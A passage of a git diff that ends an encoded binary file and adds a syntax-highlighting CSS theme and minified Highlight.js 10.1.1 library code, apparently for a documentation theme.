zB3W?QjQB3W#jIs8ZA+MQs}$ZT+HwNs=mhR}E1DI^V;{PU^hHKNJ7hG~Y8baPoOcou
zu)C-kh(j!=OioyLnZCJ5>^BOL66k;jHCqmxsBM@fbMx5E9dg;ro_twXrT1n0(PNL=
zgyT!2=#l6>Z_<h{9GeH84{z*so1!CuW)4Y5o%8m$HZ~i5qGHW#Q|DZsybg9|)Cz&6
z>%8ur6|qn7QJ5AK_)#+2xV5QnEFK&sslxOO=DqGqJIZK`O><SmY)Ro{_W4%t&eJj>
zAy?fR27<>7KcRB_A-h(%*m2xU+bUP|;+`<^&Z~}XT;?ZR(JqorIRNVZvk}cqq>mI3
ztT4A<j7K^}-zTqem2_7i+uBd|`jU0TOY4C-vg>6Vfj%xCM%w0jiPO;q&WYWD6NaA}
z0_7G2?}$)lucJ?V8K!1RvC+amfagnIvhhtrqvR~^`yREF*OuSCub*$8F<|d2p;Lk6
zmcTtk5hh0lRAu2NCHT(_J9sI%LWs?o&`<UJOr=XeM~P3n{=Gil&22xUQKoj9yV#z}
zcjsPMEIGIf3>ioy@rpQE3wouT%0v#2dxr-Lu0~4fAe(0F&Hyp-&_yU_C%u6Tc*FWI
z(7<!r_6%wNucrpdC}!ooK93Cqbq!I&uTJZi-WF(YUIis7?+FIj!onXsV(ywBcm6*9
z4b`aiCcEB5wxPl?D9qELYf{VDn4Gt2w)o}S+Gep{LT*1OkKW@6<^oH?e((biRd@+5
zER(sb^OdNnvwu_#*$Mt!t{mgz8<X1ME4+8K)`~y+DfeiotoZ24FzR>cObe?Exp;lD
z9j-8{#(_{gl{Mp1oqlQPXrULhGU}ySj*Mx&P?ucgtex^z{~Tra3a{F%mc7LWl>z@X
zBsHxT<G@s^U4ub;qj3vKgEekceoSJ3su|f9jV<h;N85~Tbjjvi!aM8pif@)toulTm
zFJqOWTaJT_r`$|&IUN~BRvd+;o}5C2QU_g&3Vot}b4U$x-8aEgVP>{o*U&WvF~LlM
z>7eCC_7n`qyp(l3lYE@;?nrX#%UUu1fxN4_i2Awe5(!{pPK7_tz_~?~q|FK4{ej&0
zOFwMNIsDwnE=>a_`Zy=(qA)O_uo^DLholpzA)ND-VHRfcXEWk8MXVSOL5`(EC3sjM
zq>IH1LWP)p1MBzU`tn;GsH=SoOdmmJ)0EDO<ujY>Uk`}q3|LsLw;c~%mQ@#wT1Grp
zMNI1}k%780a1UZrGPIvSfJO?$t4ii`C12wpZdX@4bJOp#6koQ4*DD}O;$@1A__Ynq
zAR-rm^A0DOfPpjs>>z8uSt52VJ(}|blNWZHtrP^pm=C0l@sS-u{tPsgue$0QF;Fds
zaMneu2!TXKHK*=VR$FYd|Nef7lkQmaY@uh?PIbi8HfXzH+V<(WMxFC}RP!}c@Y1O3
zA|m1L2;Q}854vYe_aIf0)`7c6S)j-e$MyN{*WPCxrek<>dX{;V_nBUOF@Sp<vpci$
zSPF+owPyvKxf<hw5e|+oae5%yQ~3>?Y$xz6#<=ospQMXo+8r%!Fe-&ch-C0P@Mnh?
zOWR2-UglV}anVrY%ZzzA>sA%Lw3x{9B$2w=kF&<Lt;QzwcH1&uD&ssS_`Mr~y6N~W
zGvLK@nlXT@=tbT!iN&!c`-WT6x%$mFU?r_cOPrGzXfl&$ydaZim}Br}H)qOxr-Qi-
zT1Y#{#KbXBBSY6y|IWnwaowC-UbV*0pmFwR;;nvfbcj`Awv1<gEq?~|TaOzo`t3Lc
zreEf9)%+{}nBeP&c{aaZa13#mcD;+BkcY_ZTAY;i;&wj~yH6&!;-JcLxOm&<Dn+LC
z5}faq4G8jX$cV1KRF=FRilA;$z&oDqXw2AB;3z&v(5#zTIG5k0QZ<XjTM){DtO$<l
z1Cp$sE)pbP%VAr#$a$w21V=IVDca^_E+V^=aa@2z_2b%{E=2h{2x7Q@#t3hS5?9KF
z>{#3UP`<XtH2wJ1@1+2>vHedRdw8E#fBykId>#xfyi+-f&}b*X^B{m)ERjIj3%1ZY
znUd3*k^CN<U~HOpBP6kZQKXm>FIh4MlPZi04y|dEdyaz4x~-5kO6;dm=*-x*D&>*A
ztGyDO7?oW5gUXOI+B&AZQfY5A4s3w!H<&mMIJy!>G!h1nru=V`@@Q0I;yd|eX4YcE
znyPRw<KKhFKu$RKPo~AI;Bb9Cw$G@cI$LX1jYeoZlEriliIMXfy}gn8V?0As`fA|h
zs>OP=j110-WOT>h{9f?Mjr2i7SWa_8_DeQ;ZIY6JpNpf}GKk`d<f#?QM?t~HIKKq7
zO5_{04-wJO)FWcB$tz9>sXCr!Bujs(KZZnEEIM)a%5rGqokssT4YUM-U8@<cd-@R+
zZI=XkRGVaH(>mYjD;n3NJ`~qN6gAjbU0g5y?noKnaXp-l>!}gYhj1oZMPlV1^8R%+
z7r`R@fy>P2*h3s7xq=b-aePx#VZM;`MeAC?`~DO~>_o#k8UCJs`A$7mW4ATD^nnIn
z0UuHNc*-qYk)=8z%mSo$_~9gw$Fi~ge#b#gq4%wIJ)!&Nra;cJxy!FeM)UJEH7;Mb
zZ^^Dr(ye<ag$_!Rru;l(qvLnNLc>i#;|9s!$z)5tV9w^Bg9kr8P3-Nj6rUoFFZ`-x
zB+M}D`LCs7;4xsshm))r^JU7Hv+S6SXw#?DZ007g`0(d6d%juPHwX{jo4i{IWJRMf
zY4&y!&r>~kb?G{`_q-o^@fp=~KfE4a=oFVs(^U8N1^h&INulIzPwHC$ws`J;K)|37
z3AsFM-eLHQuKr#y8mtWHmXc3ek7ldmJ8k5W=DgnTKQ0r$9hH8j)2X^J(tkO1ieuTm
z{y1D>6vw8N7|7RfB}6S$X`CY)H)2i!nzjLnE+f+Mj2lL5`AKjv4L&AadPQi_Bf^7$
z5rUH^@MUs!OP3GOB~x}yTa%z3BZsfA10`!8TEg&g))^rq7%z(wBIIh79DE_NrU4IQ
zkEs4VCBPb##J<}QR(6F(Ub&WDTDI=@o$@Og6vlyP4i->5$<JS({BUBd!KOT-svILO
zy`*x@#Wvk0y6wk4{-{#U$rj!!n(iwe@2pDq%?_{5f6t`j6#_tpE6SEjO7J0H@+Fgz
zD`MstA(XsHf<A>ImA*}?W`!V@x@F9!g+G^B#8l;e@)Fo1lMW86X8ljWzcVLqKL8qa
zsxw&{*ZT9{?vRvozlv)w%dcKca?i|npN@O4&)@x{EwtltBxE(!6}c5=JoKIZ)qDKx
z6Hs^#V}eOTJ2!bLJXPIo&A*It{O>-D0HMZ^V@|=PR^g{!qNyjfv=d_%<Gv7ZP)HDe
zFCaXBSP#}(l|krw?Vp~5hOfEKPl3a169o(xR3wKC(+<AKR&^(>+F)?*hG;IU3yx?G
zn^kkPBB(laPx(%k)oP}1v`!1KIU-`BBZKJI0S>T{GLxc;aO^%d0wLUPi2vD;#(x&O
zfHF+0w9LpdUG1<{pMmNEw2PEf2^5VR7{G7a`BQasi2H0LlQok~krJI~rorisq{w8S
z$0Ik1m`b>!_ijFbPdxG13cSvLY6)mWmWG-~i|B8CJD+*<fSKoZzW=lj_-$C_W(0yM
zO^BRK|63ySt3;zM_LsPVj5LhH{_5K5@|ur&sbAs--^D4!Pa7^2xH4EU<xl0>G#xqg
zu9UdFeEhw?`+oj;d-;I#eIIh-$d_0F`ZdLBf#y6iexk$+EB&J@;0;=TJX6iFL74}g
z^JYD`xVbtxTK9DVV@jPbW$qMVOtnk3ZjInCidL>3VMdm`*z@La%E2TUe0a}<PydDV
z!`rWyrw_DHmE2Mt!_>8Zfy}>a7{E#xNAr(H{W|XL-Ty}beqos|RdoqnPhAVb5C*a4
zJ>6ZtUOwKhe_oy;B3X-K5vp37=Krz1bvll@2Dkmj|1tczyYS6#wg2CBgIAti`gTbc
zHeMkFg<(s0ME{PVs{iX_GQzPdy|vr^eqgA<XqY2#$;Ei-$51NCSQ;xxE6qe3_aUs&
zDI7B~&DA;Wpa|#e4EJr6f`DYGtFdXeQ#cRS5F2cvC4a5hM3=iJ?xNdPm#1771nPI^
z1o3}}<<hD}DNVQP@a1`WS4Z$5<@Vi}`~G`$j*-xN_Yh>wG9ke?Z_E~(iWJ9Ha;Hev
zhyj9VjA~Us@6$0!h5F&4D_3izkP7-OdYUr6t>u1Y!VCI%S3%zsY<Pde%ohWS?lXF)
zyn~Nyl%v7H56fUjHs`oxsnM4Kzer*%?aTCy!ASMFtuzAUB;E6IHLCP%lOVct=WS^R
zg>f~Psyq(D3QK{wLT%<3387VE4e7S2Nu45j$Gec0r~3=eC0M%Ad_$HJzJzV5WqU=S
z5pbWSo52p#AHT)^r({;yOm;ETHcoU|!EAw4GkpCjqTP081H-P=Yq3jxUMu%KlW%d2
zjH2Qk<@>6>QgB%L3j7G@!VUL8ZYIlK68L+!o1jN=SnmBqV5c9AbcpB2AR2hdCkmI<
zvTn}8EdpY8RkobI*_!mYwp>9W_V$T#bqNvSr+)!x7HYEsPl#LM=1uFJkTI63eBuv&
z?_zI!3{Z~YTe47^5jTkKnCsnUjw+K@(#Y@qZ8B{|GI{r+bIniPL8<)Q-OLBts1cgK
zb1@L#?HH97Rn`nXO^OCpmN==;I8#3ua_6dJ|NaKn?%cXpYyfd)Gi>C&l`kf?5l;`R
zbXh`+4^@_2Z!C&gd!1isgCy>J7RhfcD37T>r7Jliy%BMzQX2gSvRmVjFw$5Ze95C)
ze8DnH)`{t5K<e;{;QV8-AG+Z^;<qZ|t`D~Z=>BOW=d{?rX%`IRI|+EzA@<DjwekV*
zU!O}&)b&(tx7)8WJe&_-s=Dp73bZS#IrxTL+`buXacW>VJb$ESnb5zkcWpiDNe@!^
zHyfROMfY^n2DUY_gbQ~EVNgyw39nTWdBd{zpX5Tfl&0_G2}X&PEx|eD*+v!#=aQJ}
z2Dnf*>y2?X@QeEu3WxtLm-5Sbhe^f%nd>e9w}J_4B8Jxi4uf{CPH%sN`48k6{ZI|;
zB-1z9#^knn)74Z6Nryw(<z>t#QlU^yhMCCH+7)xr0U>hm@-RiHby7WzbUk~QU{ec5
z`(L~-J|=qfl6$=D9?c*#dfD=7py6)c%WJ;zo{VX@cw=>SY`6KIUh8u=jpc-HXXpoQ
zOEtmovo6L+G4pllqq0Ry!t^rYU>IDPNg`+OJzNgw1-ij&eSw1yXL3#OhQuSOXkS&=
zEpuo0H?s~T{+rc^(~_*V-sB>-Kr3_7DLo}KI@v_$j6IY*-m6`k$m;%!(l2I?W3?N1
znVo6ki$DHaMzX$?gww}$8(CeM0YMSgqwFaeqC%!^G0Em)c+CUEx_H5DZ6nd6=yxX)
z7mre+4nOL%_#a<oTorqCYt>6ql$&5e7G8UcvT<Ysn6c_gT*5pHbly|*?%X8$(Q|EN
zF${<sfR#&T1T9E)niUAbG}S;*urLKIwM3@!_<xR0?B7d6UZ%_*qXHlj3TM89u4=tK
ziiewbpNJlqiKT;{7)u8gDVZKV*c{ZTZ62w^<{gX=@sAN4;Hp~x8VT$lUept#x6k2`
z1S40VJx))Q+qQ6(IaDkKH)X~goes)mI1!nKIvd8jeW&*Sctzpahex}ru?nCk2=s_J
zB^HoM;4R=y8(Lt1NNf47b&(#QHe0DG#$<AoTJHJWcPoBb;~TCVyoX+^)y@$>%?Rz|
z6R7nO2jiT+v={ps5Ze!t!y{2YxhsUHUSMK3!nNCV^(}9om|Q`X0DaWs52TEjJgv*#
zz^9|?2$k=gdx$vRQRs+g)jc-4r?;B~5Lg_LTPAAdJOx$M)*`XvA%U{>X<Aa_lE9rE
zmUKT5%m7$b9>D?tI0*yA4*)3IBjAHf0AoNp>?Roi@DVmh1s)if2j_+aroMgRi%P91
z_o3EvF9z154d{ddAP%B~@k0Uz2T(gD0H}>$g6hcvZ30OU2eq(A;$KIaIu8GNvp^<K
zpTJYqE?c=r?iq9J7CQ(vO|~4JR8rUn#-9w`w!#?>7dEJ7Z=dRCzjhZNeKJW0D@~%5
z8fef$JpTFHDICssr5FpHTwMa$MXt_aK%$alKjG(&`31YfO%!IN=Hrxy>JJq$dNv2R
zXY5|*sqS~LcIep$C(5}X)h64=B%3wLD9lw&%v(?AmaOaNe4wHV7Wp!EfkirpXieaS
z(P&&Y$()5cN%4V?uoJYLa45#hj=cRVhH`~mr749P1}#t5<(EbKggZTYsg=`naKlD4
z5Q+LDd*8$kP4$iSXkBD8Sh3)|8DnqpYD<8_!TL2`;?L@&h+;Xhh=guKgZQhln4aAE
zdpstt&3u@&pb26QMEsO#IH(&=!#YH+Li`}@{7$m$@hSO9Zis{fFq$L61D|qKl=zdl
z7Aa&Cfn~;3O*dnonFvbM_9cIWw1}{aQ^hdZmzIaE5DL7Ut01mwnT*+llPe}y`xZ>}
z3bc6H^j3J)t<kEE<{A#DSh~JYbs!S^P>2x3&W-=a2dJFn*9~BE;y!YnR;IaSp_HYy
zVQ%jXwYtmVb=`zn|32sJ_{`-g<HuMhjzZ!E(}eQ-vaO<H!2omKO~I^fUfq#k%Tf*(
zsGf{}-j!MWUu>Zoi^cSDBlrjTMe}m#&VNj^mU216Lr{v*6ZOD`m0LVlnshK1U46f+
z5ZCJ^*|d4%M?XZ>kC?Pbg-jcay_(}<XB?+OMFu-oPMop`hsqG)fs7Rwr6$P2${iVP
zJV4Ydbw$mMi-JUv@xO-if`1FS$~o={qpArlxya?}t%LmMt@|I8ll~Xwbdae3@NKC2
z)<0|cFDa1!FH)fWU*gdJ6_5U3;?02n3wvrMxIkEp=}xNB<@Sqt^TKU|ZL9!~`S<e`
z{TFxB{nR&L#VgkrhJbEaXnLD~mflhMtc$TiaSy;pB!>H==W<4LGtb7;d^ceQ|Ic8z
zioCnKgr%EdpOlFvvUbQ|(K0~sz_BrMaVZ6)Xj&^0Rz$yE4?G-pu$&GL&0<O#7jsi@
hBb(!&nMp;Sw71YkD2pzl)hnrrJafi_0vd3@{{UcY^SS^4

literal 0
HcmV?d00001

diff --git a/theme/highlight.css b/theme/highlight.css
new file mode 100644
index 000000000..a9559c210
--- /dev/null
+++ b/theme/highlight.css
@@ -0,0 +1,84 @@
+/*
+ * An increased contrast highlighting scheme loosely based on the
+ * "Base16 Atelier Dune Light" theme by Bram de Haan
+ * (http://atelierbram.github.io/syntax-highlighting/atelier-schemes/dune)
+ * Original Base16 color scheme by Chris Kempson
+ * (https://github.com/chriskempson/base16)
+ */
+
+/* Comment */
+.hljs-comment,
+.hljs-quote {
+  color: #575757;
+}
+
+/* Red */
+.hljs-variable,
+.hljs-template-variable,
+.hljs-attribute,
+.hljs-attr,
+.hljs-tag,
+.hljs-name,
+.hljs-regexp,
+.hljs-link,
+.hljs-name,
+.hljs-selector-id,
+.hljs-selector-class {
+  color: #d70025;
+}
+
+/* Orange */
+.hljs-number,
+.hljs-meta,
+.hljs-built_in,
+.hljs-builtin-name,
+.hljs-literal,
+.hljs-type,
+.hljs-params {
+  color: #b21e00;
+}
+
+/* Green */
+.hljs-string,
+.hljs-symbol,
+.hljs-bullet {
+  color: #008200;
+}
+
+/* Blue */
+.hljs-title,
+.hljs-section {
+  color: #0030f2;
+}
+
+/* Purple */
+.hljs-keyword,
+.hljs-selector-tag {
+  color: #9d00ec;
+}
+
+.hljs {
+  display: block;
+  overflow-x: auto;
+  background: #f6f7f6;
+  color: #000;
+  white-space: pre-wrap;
+}
+
+.hljs-emphasis {
+  font-style: italic;
+}
+
+.hljs-strong {
+  font-weight: bold;
+}
+
+.hljs-addition {
+  color: #22863a;
+  background-color: #f0fff4;
+}
+
+.hljs-deletion {
+  color: #b31d28;
+  background-color: #ffeef0;
+}
diff --git a/theme/highlight.js b/theme/highlight.js
new file mode 100644
index 000000000..18d24345b
--- /dev/null
+++ b/theme/highlight.js
@@ -0,0 +1,54 @@
+/*
+  Highlight.js 10.1.1 (93fd0d73)
+  License: BSD-3-Clause
+  Copyright (c) 2006-2020, Ivan Sagalaev
+*/
+var hljs=function(){"use strict";function e(n){Object.freeze(n);var t="function"==typeof n;return Object.getOwnPropertyNames(n).forEach((function(r){!Object.hasOwnProperty.call(n,r)||null===n[r]||"object"!=typeof n[r]&&"function"!=typeof n[r]||t&&("caller"===r||"callee"===r||"arguments"===r)||Object.isFrozen(n[r])||e(n[r])})),n}class n{constructor(e){void 0===e.data&&(e.data={}),this.data=e.data}ignoreMatch(){this.ignore=!0}}function t(e){return e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;").replace(/"/g,"&quot;").replace(/'/g,"&#x27;")}function r(e,...n){var t={};for(const n in e)t[n]=e[n];return n.forEach((function(e){for(const n in e)t[n]=e[n]})),t}function a(e){return e.nodeName.toLowerCase()}var i=Object.freeze({__proto__:null,escapeHTML:t,inherit:r,nodeStream:function(e){var n=[];return function e(t,r){for(var i=t.firstChild;i;i=i.nextSibling)3===i.nodeType?r+=i.nodeValue.length:1===i.nodeType&&(n.push({event:"start",offset:r,node:i}),r=e(i,r),a(i).match(/br|hr|img|input/)||n.push({event:"stop",offset:r,node:i}));return r}(e,0),n},mergeStreams:function(e,n,r){var i=0,s="",o=[];function l(){return e.length&&n.length?e[0].offset!==n[0].offset?e[0].offset<n[0].offset?e:n:"start"===n[0].event?e:n:e.length?e:n}function c(e){s+="<"+a(e)+[].map.call(e.attributes,(function(e){return" "+e.nodeName+'="'+t(e.value)+'"'})).join("")+">"}function u(e){s+="</"+a(e)+">"}function d(e){("start"===e.event?c:u)(e.node)}for(;e.length||n.length;){var g=l();if(s+=t(r.substring(i,g[0].offset)),i=g[0].offset,g===e){o.reverse().forEach(u);do{d(g.splice(0,1)[0]),g=l()}while(g===e&&g.length&&g[0].offset===i);o.reverse().forEach(c)}else"start"===g[0].event?o.push(g[0].node):o.pop(),d(g.splice(0,1)[0])}return s+t(r.substr(i))}});const s="</span>",o=e=>!!e.kind;class l{constructor(e,n){this.buffer="",this.classPrefix=n.classPrefix,e.walk(this)}addText(e){this.buffer+=t(e)}openNode(e){if(!o(e))return;let n=e.kind;e.sublanguage||(n=`${this.classPrefix}${n}`),this.span(n)}closeNode(e){o(e)&&(this.buffer+=s)}value(){return this.buffer}span(e){this.buffer+=`<span class="${e}">`}}class c{constructor(){this.rootNode={children:[]},this.stack=[this.rootNode]}get top(){return this.stack[this.stack.length-1]}get root(){return this.rootNode}add(e){this.top.children.push(e)}openNode(e){const n={kind:e,children:[]};this.add(n),this.stack.push(n)}closeNode(){if(this.stack.length>1)return this.stack.pop()}closeAllNodes(){for(;this.closeNode(););}toJSON(){return JSON.stringify(this.rootNode,null,4)}walk(e){return this.constructor._walk(e,this.rootNode)}static _walk(e,n){return"string"==typeof n?e.addText(n):n.children&&(e.openNode(n),n.children.forEach(n=>this._walk(e,n)),e.closeNode(n)),e}static _collapse(e){"string"!=typeof e&&e.children&&(e.children.every(e=>"string"==typeof e)?e.children=[e.children.join("")]:e.children.forEach(e=>{c._collapse(e)}))}}class u extends c{constructor(e){super(),this.options=e}addKeyword(e,n){""!==e&&(this.openNode(n),this.addText(e),this.closeNode())}addText(e){""!==e&&this.add(e)}addSublanguage(e,n){const t=e.root;t.kind=n,t.sublanguage=!0,this.add(t)}toHTML(){return new l(this,this.options).value()}finalize(){return!0}}function d(e){return e?"string"==typeof e?e:e.source:null}const g="(-?)(\\b0[xX][a-fA-F0-9]+|(\\b\\d+(\\.\\d*)?|\\.\\d+)([eE][-+]?\\d+)?)",h={begin:"\\\\[\\s\\S]",relevance:0},f={className:"string",begin:"'",end:"'",illegal:"\\n",contains:[h]},p={className:"string",begin:'"',end:'"',illegal:"\\n",contains:[h]},b={begin:/\b(a|an|the|are|I'm|isn't|don't|doesn't|won't|but|just|should|pretty|simply|enough|gonna|going|wtf|so|such|will|you|your|they|like|more)\b/},m=function(e,n,t={}){var a=r({className:"comment",begin:e,end:n,contains:[]},t);return a.contains.push(b),a.contains.push({className:"doctag",begin:"(?:TODO|FIXME|NOTE|BUG|OPTIMIZE|HACK|XXX):",relevance:0}),a},v=m("//","$"),x=m("/\\*","\\*/"),E=m("#","$");var _=Object.freeze({__proto__:null,IDENT_RE:"[a-zA-Z]\\w*",UNDERSCORE_IDENT_RE:"[a-zA-Z_]\\w*",NUMBER_RE:"\\b\\d+(\\.\\d+)?",C_NUMBER_RE:g,BINARY_NUMBER_RE:"\\b(0b[01]+)",RE_STARTERS_RE:"!|!=|!==|%|%=|&|&&|&=|\\*|\\*=|\\+|\\+=|,|-|-=|/=|/|:|;|<<|<<=|<=|<|===|==|=|>>>=|>>=|>=|>>>|>>|>|\\?|\\[|\\{|\\(|\\^|\\^=|\\||\\|=|\\|\\||~",SHEBANG:(e={})=>{const n=/^#![ ]*\//;return e.binary&&(e.begin=function(...e){return e.map(e=>d(e)).join("")}(n,/.*\b/,e.binary,/\b.*/)),r({className:"meta",begin:n,end:/$/,relevance:0,"on:begin":(e,n)=>{0!==e.index&&n.ignoreMatch()}},e)},BACKSLASH_ESCAPE:h,APOS_STRING_MODE:f,QUOTE_STRING_MODE:p,PHRASAL_WORDS_MODE:b,COMMENT:m,C_LINE_COMMENT_MODE:v,C_BLOCK_COMMENT_MODE:x,HASH_COMMENT_MODE:E,NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?",relevance:0},C_NUMBER_MODE:{className:"number",begin:g,relevance:0},BINARY_NUMBER_MODE:{className:"number",begin:"\\b(0b[01]+)",relevance:0},CSS_NUMBER_MODE:{className:"number",begin:"\\b\\d+(\\.\\d+)?(%|em|ex|ch|rem|vw|vh|vmin|vmax|cm|mm|in|pt|pc|px|deg|grad|rad|turn|s|ms|Hz|kHz|dpi|dpcm|dppx)?",relevance:0},REGEXP_MODE:{begin:/(?=\/[^/\n]*\/)/,contains:[{className:"regexp",begin:/\//,end:/\/[gimuy]*/,illegal:/\n/,contains:[h,{begin:/\[/,end:/\]/,relevance:0,contains:[h]}]}]},TITLE_MODE:{className:"title",begin:"[a-zA-Z]\\w*",relevance:0},UNDERSCORE_TITLE_MODE:{className:"title",begin:"[a-zA-Z_]\\w*",relevance:0},METHOD_GUARD:{begin:"\\.\\s*[a-zA-Z_]\\w*",relevance:0},END_SAME_AS_BEGIN:function(e){return Object.assign(e,{"on:begin":(e,n)=>{n.data._beginMatch=e[1]},"on:end":(e,n)=>{n.data._beginMatch!==e[1]&&n.ignoreMatch()}})}}),N="of and for in not or if then".split(" ");function w(e,n){return n?+n:function(e){return N.includes(e.toLowerCase())}(e)?0:1}const R=t,y=r,{nodeStream:k,mergeStreams:O}=i,M=Symbol("nomatch");return function(t){var a=[],i={},s={},o=[],l=!0,c=/(^(<[^>]+>|\t|)+|\n)/gm,g="Could not find the language '{}', did you forget to load/include a language module?";const h={disableAutodetect:!0,name:"Plain text",contains:[]};var f={noHighlightRe:/^(no-?highlight)$/i,languageDetectRe:/\blang(?:uage)?-([\w-]+)\b/i,classPrefix:"hljs-",tabReplace:null,useBR:!1,languages:null,__emitter:u};function p(e){return f.noHighlightRe.test(e)}function b(e,n,t,r){var a={code:n,language:e};S("before:highlight",a);var i=a.result?a.result:m(a.language,a.code,t,r);return i.code=a.code,S("after:highlight",i),i}function m(e,t,a,s){var o=t;function c(e,n){var t=E.case_insensitive?n[0].toLowerCase():n[0];return Object.prototype.hasOwnProperty.call(e.keywords,t)&&e.keywords[t]}function u(){null!=y.subLanguage?function(){if(""!==A){var e=null;if("string"==typeof y.subLanguage){if(!i[y.subLanguage])return void O.addText(A);e=m(y.subLanguage,A,!0,k[y.subLanguage]),k[y.subLanguage]=e.top}else e=v(A,y.subLanguage.length?y.subLanguage:null);y.relevance>0&&(I+=e.relevance),O.addSublanguage(e.emitter,e.language)}}():function(){if(!y.keywords)return void O.addText(A);let e=0;y.keywordPatternRe.lastIndex=0;let n=y.keywordPatternRe.exec(A),t="";for(;n;){t+=A.substring(e,n.index);const r=c(y,n);if(r){const[e,a]=r;O.addText(t),t="",I+=a,O.addKeyword(n[0],e)}else t+=n[0];e=y.keywordPatternRe.lastIndex,n=y.keywordPatternRe.exec(A)}t+=A.substr(e),O.addText(t)}(),A=""}function h(e){return e.className&&O.openNode(e.className),y=Object.create(e,{parent:{value:y}})}function p(e){return 0===y.matcher.regexIndex?(A+=e[0],1):(L=!0,0)}var b={};function x(t,r){var i=r&&r[0];if(A+=t,null==i)return u(),0;if("begin"===b.type&&"end"===r.type&&b.index===r.index&&""===i){if(A+=o.slice(r.index,r.index+1),!l){const n=Error("0 width match regex");throw n.languageName=e,n.badRule=b.rule,n}return 1}if(b=r,"begin"===r.type)return function(e){var t=e[0],r=e.rule;const a=new n(r),i=[r.__beforeBegin,r["on:begin"]];for(const n of i)if(n&&(n(e,a),a.ignore))return p(t);return r&&r.endSameAsBegin&&(r.endRe=RegExp(t.replace(/[-/\\^$*+?.()|[\]{}]/g,"\\$&"),"m")),r.skip?A+=t:(r.excludeBegin&&(A+=t),u(),r.returnBegin||r.excludeBegin||(A=t)),h(r),r.returnBegin?0:t.length}(r);if("illegal"===r.type&&!a){const e=Error('Illegal lexeme "'+i+'" for mode "'+(y.className||"<unnamed>")+'"');throw e.mode=y,e}if("end"===r.type){var s=function(e){var t=e[0],r=o.substr(e.index),a=function e(t,r,a){let i=function(e,n){var t=e&&e.exec(n);return t&&0===t.index}(t.endRe,a);if(i){if(t["on:end"]){const e=new n(t);t["on:end"](r,e),e.ignore&&(i=!1)}if(i){for(;t.endsParent&&t.parent;)t=t.parent;return t}}if(t.endsWithParent)return e(t.parent,r,a)}(y,e,r);if(!a)return M;var i=y;i.skip?A+=t:(i.returnEnd||i.excludeEnd||(A+=t),u(),i.excludeEnd&&(A=t));do{y.className&&O.closeNode(),y.skip||y.subLanguage||(I+=y.relevance),y=y.parent}while(y!==a.parent);return a.starts&&(a.endSameAsBegin&&(a.starts.endRe=a.endRe),h(a.starts)),i.returnEnd?0:t.length}(r);if(s!==M)return s}if("illegal"===r.type&&""===i)return 1;if(B>1e5&&B>3*r.index)throw Error("potential infinite loop, way more iterations than matches");return A+=i,i.length}var E=T(e);if(!E)throw console.error(g.replace("{}",e)),Error('Unknown language: "'+e+'"');var _=function(e){function n(n,t){return RegExp(d(n),"m"+(e.case_insensitive?"i":"")+(t?"g":""))}class t{constructor(){this.matchIndexes={},this.regexes=[],this.matchAt=1,this.position=0}addRule(e,n){n.position=this.position++,this.matchIndexes[this.matchAt]=n,this.regexes.push([n,e]),this.matchAt+=function(e){return RegExp(e.toString()+"|").exec("").length-1}(e)+1}compile(){0===this.regexes.length&&(this.exec=()=>null);const e=this.regexes.map(e=>e[1]);this.matcherRe=n(function(e,n="|"){for(var t=/\[(?:[^\\\]]|\\.)*\]|\(\??|\\([1-9][0-9]*)|\\./,r=0,a="",i=0;i<e.length;i++){var s=r+=1,o=d(e[i]);for(i>0&&(a+=n),a+="(";o.length>0;){var l=t.exec(o);if(null==l){a+=o;break}a+=o.substring(0,l.index),o=o.substring(l.index+l[0].length),"\\"===l[0][0]&&l[1]?a+="\\"+(+l[1]+s):(a+=l[0],"("===l[0]&&r++)}a+=")"}return a}(e),!0),this.lastIndex=0}exec(e){this.matcherRe.lastIndex=this.lastIndex;const n=this.matcherRe.exec(e);if(!n)return null;const t=n.findIndex((e,n)=>n>0&&void 0!==e),r=this.matchIndexes[t];return n.splice(0,t),Object.assign(n,r)}}class a{constructor(){this.rules=[],this.multiRegexes=[],this.count=0,this.lastIndex=0,this.regexIndex=0}getMatcher(e){if(this.multiRegexes[e])return this.multiRegexes[e];const n=new t;return this.rules.slice(e).forEach(([e,t])=>n.addRule(e,t)),n.compile(),this.multiRegexes[e]=n,n}considerAll(){this.regexIndex=0}addRule(e,n){this.rules.push([e,n]),"begin"===n.type&&this.count++}exec(e){const n=this.getMatcher(this.regexIndex);n.lastIndex=this.lastIndex;const t=n.exec(e);return t&&(this.regexIndex+=t.position+1,this.regexIndex===this.count&&(this.regexIndex=0)),t}}function i(e,n){const t=e.input[e.index-1],r=e.input[e.index+e[0].length];"."!==t&&"."!==r||n.ignoreMatch()}if(e.contains&&e.contains.includes("self"))throw Error("ERR: contains `self` is not supported at the top-level of a language.  See documentation.");return function t(s,o){const l=s;if(s.compiled)return l;s.compiled=!0,s.__beforeBegin=null,s.keywords=s.keywords||s.beginKeywords;let c=null;if("object"==typeof s.keywords&&(c=s.keywords.$pattern,delete s.keywords.$pattern),s.keywords&&(s.keywords=function(e,n){var t={};return"string"==typeof e?r("keyword",e):Object.keys(e).forEach((function(n){r(n,e[n])})),t;function r(e,r){n&&(r=r.toLowerCase()),r.split(" ").forEach((function(n){var r=n.split("|");t[r[0]]=[e,w(r[0],r[1])]}))}}(s.keywords,e.case_insensitive)),s.lexemes&&c)throw Error("ERR: Prefer `keywords.$pattern` to `mode.lexemes`, BOTH are not allowed. (see mode reference) ");return l.keywordPatternRe=n(s.lexemes||c||/\w+/,!0),o&&(s.beginKeywords&&(s.begin="\\b("+s.beginKeywords.split(" ").join("|")+")(?=\\b|\\s)",s.__beforeBegin=i),s.begin||(s.begin=/\B|\b/),l.beginRe=n(s.begin),s.endSameAsBegin&&(s.end=s.begin),s.end||s.endsWithParent||(s.end=/\B|\b/),s.end&&(l.endRe=n(s.end)),l.terminator_end=d(s.end)||"",s.endsWithParent&&o.terminator_end&&(l.terminator_end+=(s.end?"|":"")+o.terminator_end)),s.illegal&&(l.illegalRe=n(s.illegal)),void 0===s.relevance&&(s.relevance=1),s.contains||(s.contains=[]),s.contains=[].concat(...s.contains.map((function(e){return function(e){return e.variants&&!e.cached_variants&&(e.cached_variants=e.variants.map((function(n){return r(e,{variants:null},n)}))),e.cached_variants?e.cached_variants:function e(n){return!!n&&(n.endsWithParent||e(n.starts))}(e)?r(e,{starts:e.starts?r(e.starts):null}):Object.isFrozen(e)?r(e):e}("self"===e?s:e)}))),s.contains.forEach((function(e){t(e,l)})),s.starts&&t(s.starts,o),l.matcher=function(e){const n=new a;return 